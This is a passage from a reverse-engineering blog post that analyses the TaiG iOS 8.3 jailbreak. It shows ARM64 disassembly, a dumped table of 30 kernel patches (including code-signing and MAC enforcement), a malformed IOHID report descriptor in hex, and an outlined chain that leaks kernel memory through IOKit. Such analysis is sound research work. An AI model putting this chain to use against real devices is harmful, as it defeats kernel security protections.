10000c308 10082118 ADR x24, 66592; ; ->R24 = 0x10001c728 10000c30c d503201f NOP loop: 10000c310 f8410708 -LDR X8, [X24], #16; ; R8 = *(R24(0x10001c728) + 0x10) = *(0x10001c738) => 0x100006ff0 10000c314 aa1503e0 *MOV X0, X21 10000c318 aa1303e1 *MOV X1, X19 10000c31c aa1603e2 *MOV X2, X22 10000c320 d63f0100 BLR X8 10000c324 f8376a80 STR X0, [X20, xX23] ..; ; *((0xffffffffffffc988) + 0x0) *0xffffffffffffc988 = X0 0xffffffffffffc988 10000c328 910022f7 ADD X23, X23, #8; ; ..R23 = R23 (0x0) + 0x8 = 0x8 10000c32c f103c2ff CMP X23, #240 10000c330 54ffff01 B.NE loop ; ; 0x10000c310 10000c334 52800000 MOVZ W0, #0; ; ->R0 = 0x0 10000c338 a9437bfd LDP X29, X30, [SP,#48] 10000c33c a9424ff4 LDP X20, X19, [SP,#32] 10000c340 a94157f6 LDP X22, X21, [SP,#16] 10000c344 a8c45ff8 LDP X24, X23, [SP],#64 10000c348 d65f03c0 RET
As you can see, this is a loop that iterates over function pointers from 0x10001c728. The loop iterates for over 30 pointers (240). Dumping with jtool
you'll see:
bash-3.2$ jtool --jtooldir ~/Documents/iOS/JB/TaiG8.3 -arch arm64 -d 0x10001c728,240 ~/Documents/iOS/JB/TaiG8.3/taig.2.4.3
Opened companion File: /Users/morpheus/Documents/iOS/JB/TaiG8.3/taig.2.4.3.ARM64.3634B551-1F4D-356D-B8C7-EB4DA69056FD
Loading symbols...
Dumping from address 0x10001c728 (Segment: __DATA.__const)
0x10001c728: a8 6f 00 00 01 00 00 00 _patch_1(5)
0x10001c730: c3 ad 01 00 01 00 00 00 ""
0x10001c738: f0 6f 00 00 01 00 00 00 _patch_2(6)
0x10001c740: c3 ad 01 00 01 00 00 00 ""
0x10001c748: 60 6f 00 00 01 00 00 00 _patch_3(4)
0x10001c750: c3 ad 01 00 01 00 00 00 ""
0x10001c758: 38 70 00 00 01 00 00 00 _patch_4(7)
0x10001c760: c3 ad 01 00 01 00 00 00 ""
0x10001c768: 80 70 00 00 01 00 00 00 _patch_5(8)
0x10001c770: c3 ad 01 00 01 00 00 00 ""
0x10001c778: c8 70 00 00 01 00 00 00 _patch_6(9)
0x10001c780: c3 ad 01 00 01 00 00 00 ""
0x10001c788: 68 73 00 00 01 00 00 00 _patch_7(11) (security.mac.proc_enforce)
0x10001c790: c3 ad 01 00 01 00 00 00 ""
0x10001c798: ec 73 00 00 01 00 00 00 _patch_8 (security.mac.vnode_enforce)
0x10001c7a0: c3 ad 01 00 01 00 00 00 ""
0x10001c7a8: 70 74 00 00 01 00 00 00 _patch_9 (code signature)
0x10001c7b0: c3 ad 01 00 01 00 00 00 ""
0x10001c7b8: 5c 85 00 00 01 00 00 00 _patch_10
0x10001c7c0: c3 ad 01 00 01 00 00 00 ""
0x10001c7c8: ec 86 00 00 01 00 00 00 _patch_11
0x10001c7d0: c3 ad 01 00 01 00 00 00 ""
0x10001c7d8: 5c 87 00 00 01 00 00 00 _patch_12
0x10001c7e0: c3 ad 01 00 01 00 00 00 ""
0x10001c7e8: 7c 88 00 00 01 00 00 00 _patch_13
0x10001c7f0: c3 ad 01 00 01 00 00 00 ""
0x10001c7f8: 58 76 00 00 01 00 00 00 _patch_14
0x10001c800: c3 ad 01 00 01 00 00 00 ""
0x10001c808: 78 77 00 00 01 00 00 00 _patch_15
0x10001c810: c3 ad 01 00 01 00 00 00 ""
0x10001c818: 90 78 00 00 01 00 00 00 _patch_16
0x10001c820: c3 ad 01 00 01 00 00 00 ""
0x10001c828: 9c 79 00 00 01 00 00 00 _patch_17
0x10001c830: c3 ad 01 00 01 00 00 00 ""
0x10001c838: 18 7a 00 00 01 00 00 00 _patch_18
0x10001c840: c3 ad 01 00 01 00 00 00 ""
0x10001c848: ac 7a 00 00 01 00 00 00 _patch_19
0x10001c850: c3 ad 01 00 01 00 00 00 ""
0x10001c858: 94 7b 00 00 01 00 00 00 _patch_20 (BBBBBBBBGGGGGGGGRRRRRRRR)
0x10001c860: c3 ad 01 00 01 00 00 00 ""
0x10001c868: c0 7c 00 00 01 00 00 00 _patch_21 (.HFS+ Private Directory Data)
0x10001c870: c3 ad 01 00 01 00 00 00 ""
0x10001c878: 50 7d 00 00 01 00 00 00 _patch_22
0x10001c880: c3 ad 01 00 01 00 00 00 ""
0x10001c888: 44 7e 00 00 01 00 00 00 _patch_23
0x10001c890: c3 ad 01 00 01 00 00 00 ""
0x10001c898: 08 7f 00 00 01 00 00 00 _patch_24
0x10001c8a0: c3 ad 01 00 01 00 00 00 ""
0x10001c8a8: 7c 7f 00 00 01 00 00 00 _patch_25
0x10001c8b0: c3 ad 01 00 01 00 00 00 ""
0x10001c8b8: 18 80 00 00 01 00 00 00 _patch_26
0x10001c8c0: c3 ad 01 00 01 00 00 00 ""
0x10001c8c8: 2c 81 00 00 01 00 00 00 _patch_27
0x10001c8d0: c3 ad 01 00 01 00 00 00 ""
0x10001c8d8: 44 82 00 00 01 00 00 00 _patch_28
0x10001c8e0: c3 ad 01 00 01 00 00 00 ""
0x10001c8e8: 5c 83 00 00 01 00 00 00 _patch_29
0x10001c8f0: c3 ad 01 00 01 00 00 00 ""
0x10001c8f8: 68 84 00 00 01 00 00 00 _patch_30
0x10001c900: c3 ad 01 00 01 00 00 00 ""
I symbolicated a few of the key patches in the companion file (hence the jtool
output. The (same) Null strings imply there might have been a patch description there at some point, but it's been removed.
Anyway, from here on it's pretty straightforward.
The high level view
To summarize:
- Get an IOKit ref to "IOHIDResource" (The old faithful IOHIDFamily export)
- Craft the following $#%#$%$#% up IOReportDescriptor:
// // At this point our descriptor is as follows - // 0x16fd5dce8: 07 fe ff ff ff 27 ff ff ff ff 17 ff ff ff ff 47 // 0x16fd5dcf8: ff ff ff ff 37 ff ff ff ff a7 00 00 00 00 b7 00 // 0x16fd5dd08: 00 00 00 a3 fd ff ff ff 07 00 00 00 00 0a 00 00 // 0x16fd5dd18: 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 // 0x16fd5dd28: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 // 0x16fd5dd38: 00 00 00 97 ff 00 00 00 87 01 00 00 00 93 03 00 // 0x16fd5dd48: 00 00 07 00 00 00 00 0a 00 00 27 00 00 00 00 17 // 0x16fd5dd58: 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 // 0x16fd5dd68: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 ff 00 // 0x16fd5dd78: 00 00 87 02 00 00 00 93 03 00 00 00 c3 00 00 00
- Create a fake IOHID Device by calling
IOHIDResourceDeviceUserClient::_createDevice
with the nasty Report Descriptor. This will show up in IOReg as one crazy structure. - exhaust_IOKit_By_opening a large number of descriptors
- Try some feng shui, to let the good energy of predictable fortune in
- Subject IOKit to more torture by opening up another large number of descriptors..
- Craft a Mach message
- Get data out of kernel by calling IOHIDLibUserClient::GetElements and UpdateElementValues, which leak memory
- Get Mach message back, with memory
- Do above as many times as necessary to effectively get all of kernel space to user space
- apply patches
- commit back (left as exercise for reader, else I'd never finish this!)
- Done
Final notes
If you didn't skip it all, and think that was a lot of work to follow along - just imagine how much work it is to reverse it :-) And this *is* a tad simplified. There's some IOConnectTraps I ignored, and other portions of the code which aren't that important. It was still a considerable amount of work. Fortunately, I've managed to improve jtool
considerably during the process (since I don't use IDA, it's either my tool or (n)otool..), and I hope that the HTML output is legible enough. But really, think of how much work one would need to a) find the bugs b) exploit them and c) get it right every single time. Pretty amazing.
When TaiG was out, there was some rant on TWTR whether or not it was "stealing" any code, specifically libTar and/or PlanetBeing's.. As the above shows, TaiG did in fact use libtar. And the 32-bit planetbeing patch finder. The former, likely for convenience (without stating the free license! SHAME, TaiG! Shame!). The latter, one can't copyright (locking onto the same signature and modifying it necessitates the same code). In the 64 bit case, the code is entirely original, as PlanetBeing (AFAICT) never got to support ARM64. Incidentally, if anyone wants the 64-bit patches, drop me a line. A side effect of this is I have them reversed (and copyright/license free :-).
Yes, one can complain about licenses and theft. But, seriously, who the heck cares when the technical mastery required to pull this off (not to mention burning 5-6 exploits) outdoes coding a measly tar implementation by parsecs?
- If you'd like to comment, I suggest the Book's website forum.
- If you're interested in more OS X and/or iOS reversing, my company provides a special course just for that, with our next one set for December. Alternatively, bring us your binaries - it's a service we offer :-) (Email Info@{the tg website} for details on either training or consulting)
- Stay tuned for the 2nd edition of MOXiI, which will both update the 1st edition past 10.7/5.0 into 10.11/9.0, and provide an unprecedented level of detail on both OSes! Our training already does!
Just for the off chance this gets to either TaiG or Pangu (Love you both equally :-)
Yes, 8.4.1 is Jailbreakable. So is 9b4. We know.
please DO NOT blow exploits.
$#$#%$#%#$ WAIT for iOS 9. It's just about three weeks away. Try delaying gratification for a change.. It increases the effect.